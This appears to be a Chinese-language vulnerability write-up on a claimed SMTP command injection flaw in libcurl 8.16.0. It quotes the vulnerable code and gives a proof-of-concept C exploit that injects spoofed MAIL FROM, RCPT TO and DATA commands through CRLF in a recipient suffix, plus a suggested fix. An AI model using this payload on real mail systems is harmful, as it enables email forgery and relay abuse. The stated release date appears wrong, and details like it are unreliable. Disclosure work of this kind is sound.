libcurl 8.16.0 SMTP命令注入漏洞深度分析

本文详细分析了libcurl 8.16.0版本中存在的SMTP命令注入漏洞,该漏洞源于对RFC 3461后缀处理不当,攻击者可通过CRLF字符注入任意SMTP命令,实现邮件伪造、未授权中继等攻击。

SMTP命令注入漏洞在libcurl 8.16.0中的技术分析

执行摘要

libcurl 8.16.0版本在实现RFC 3461投递状态通知(DSN)参数支持时存在严重SMTP命令注入漏洞。该漏洞允许攻击者通过在收件人邮箱地址的后缀部分包含CRLF(\r\n)字符来注入任意SMTP命令。

影响:完整的SMTP命令注入,允许:

  • 使用任意发件人地址进行邮件伪造
  • 未授权邮件中继
  • 绕过认证和授权控制
  • 潜在的协议级攻击

受影响版本:libcurl 8.16.0(2024年9月10日发布) 组件:lib/smtp.c - RFC 3461后缀处理 CWE:CWE-93(HTTP头中CRLF序列的不当中和)/ CWE-77(命令注入)

漏洞详情

背景

RFC 3461定义了SMTP的投递状态通知扩展。这些扩展允许在RCPT TO命令中的收件人邮箱地址后附加参数,例如:

1
RCPT TO:<user@example.com> NOTIFY=SUCCESS,FAILURE

libcurl 8.16.0添加了对此功能的支持。

漏洞分析

lib/smtp.c中的实现从邮箱地址提取后缀,但未能验证或清理其中的CRLF字符。漏洞代码路径包括:

地址解析(smtp_parse_address,第1876行):

1
2
3
4
5
6
7
else {
  addressend = strrchr(dup, '>');
  if(addressend) {
    *addressend = '\0';
    *suffix = addressend + 1;  // 指向原始字符串!
  }
}

后缀指针直接指向原始输入字符串中的>字符之后,没有进行任何验证。

命令构建(smtp_perform_rcpt_to,第885行):

1
2
3
if(host.name)
  result = Curl_pp_sendf(data, &smtpc->pp, "RCPT TO:<%s@%s>%s",
                         address, host.name, suffix);

后缀被直接插入到SMTP命令中,没有任何CRLF过滤。

命令传输(pingpong.c中的Curl_pp_vsendf):

1
2
3
result = curlx_dyn_vaddf(&pp->sendbuf, fmt, args);
// ... 
result = curlx_dyn_addn(&pp->sendbuf, "\r\n", 2);

格式化字符串(包含带有嵌入CRLF的未清理后缀)被发送,后跟额外的CRLF。后缀中的任何CRLF字符都将在SMTP协议流中创建新的命令行。

攻击向量

攻击者可以构建包含恶意SMTP命令的后缀的收件人地址:

1
" NOTIFY=SUCCESS\r\nRSET\r\nMAIL FROM:\r\nRCPT TO:"

当libcurl处理此收件人时,将发送:

1
2
3
4
5
RCPT TO:<user@example.com> NOTIFY=SUCCESS
RSET  
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@example.com>
[来自Curl_pp_vsendf的原始CRLF]

这有效地注入了四个SMTP命令,而原本只应有一个RCPT TO命令。

概念验证

环境设置

构建libcurl 8.16.0

1
2
3
4
5
wget https://curl.se/download/curl-8.16.0.tar.gz
tar -xzf curl-8.16.0.tar.gz
cd curl-8.16.0
./configure --disable-shared --with-openssl --without-libpsl
make -j4

设置SMTP调试服务器(Python 3):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/env python3
import asyncore
from smtpd import SMTPServer

class DebugSMTPServer(SMTPServer):
 def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
   print(f'From: {mailfrom}')
   print(f'To: {rcpttos}')
   print(f'Data: {data.decode("utf-8", errors="replace")}')
   return

server = DebugSMTPServer(('127.0.0.1', 1025), None)
print("SMTP Debug Server on port 1025")
asyncore.loop()

漏洞利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <curl/curl.h>
#include <string.h>
#include <stdio.h>

static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp) {
   const char *text = "Subject: Legitimate Email\r\n\r\nLegitimate body.\r\n";
   static int sent = 0;
   if(sent) return 0;

   size_t len = strlen(text);
   if(len > size * nmemb) len = size * nmemb;
   memcpy(ptr, text, len);
   sent = 1;
   return len;
}

int main(void) {
   CURL *curl = curl_easy_init();
   struct curl_slist *recipients = NULL;

   curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
   curl_easy_setopt(curl, CURLOPT_MAIL_FROM, "<attacker@evil.com>");

   /* 漏洞利用:通过RFC 3461后缀注入SMTP命令 */
   const char *exploit = 
       "<victim@example.com> NOTIFY=SUCCESS\r\n"
       "RSET\r\n"
       "MAIL FROM:<spoofed@internal.com>\r\n"
       "RCPT TO:<target@example.com>\r\n"
       "DATA\r\n"
       "Subject: Injected Email\r\n"
       "\r\n"
       "This email was sent via SMTP command injection!\r\n"
       ".\r\n"
       "QUIT\r\n";

   recipients = curl_slist_append(recipients, exploit);
   curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
   curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
   curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
   curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

   CURLcode res = curl_easy_perform(curl);
   printf("Result: %s\n", curl_easy_strerror(res));

   curl_slist_free_all(recipients);
   curl_easy_cleanup(curl);
   return 0;
}

影响评估

严重性:严重(CVSS 3.1:9.1) 攻击向量:网络(AV:N) 攻击复杂度:低(AC:L) 所需权限:无(PR:N) 用户交互:无(UI:N) 范围:已改变(S:C)

影响

  • 机密性:高 - 可拦截或重定向电子邮件
  • 完整性:高 - 可使用任意内容伪造电子邮件
  • 可用性:高 - 可滥用邮件服务器进行垃圾邮件/拒绝服务攻击

根本原因分析

该漏洞在8.16.0版本添加RFC 3461后缀支持时引入。实现中存在两个关键错误:

  1. 无输入验证:后缀从用户控制的输入中提取,没有对CRLF字符进行任何验证
  2. 直接插值:后缀直接插入到SMTP命令中,没有编码或转义

代码假设后缀仅包含有效的RFC 3461参数(如NOTIFY=SUCCESS),但未强制执行此假设。

建议修复

必须验证后缀以确保不包含CRLF字符或其他命令注入序列:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static bool validate_suffix(const char *suffix) {
   /* 后缀不能包含CR或LF */
   if(strchr(suffix, '\r') || strchr(suffix, '\n'))
       return false;

   /* 后缀应仅包含RFC 3461的可打印ASCII */
   while(*suffix) {
       if(*suffix < 0x20 || *suffix > 0x7E)
           return false;
       suffix++;
   }
   return true;
}

此验证应在smtp_parse_address返回前添加:

1
2
3
4
if(*suffix && !validate_suffix(*suffix)) {
   free(*address);
   return CURLE_URL_MALFORMAT;
}

结论

此漏洞代表了libcurl 8.16.0中的一个严重安全缺陷,可被利用进行完整的SMTP命令注入。任何使用libcurl通过用户控制的收件人地址进行SMTP电子邮件传输的应用程序都可能受到攻击。该漏洞易于利用,且不需要特殊条件或认证。

libcurl 8.16.0的用户应:

  • 避免对收件人地址使用用户控制的输入
  • 如果使用SMTP功能,实施自己的CRLF过滤
  • 等待curl项目的官方补丁
  • 考虑降级到8.15.0或更早版本(缺乏RFC 3461后缀支持)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计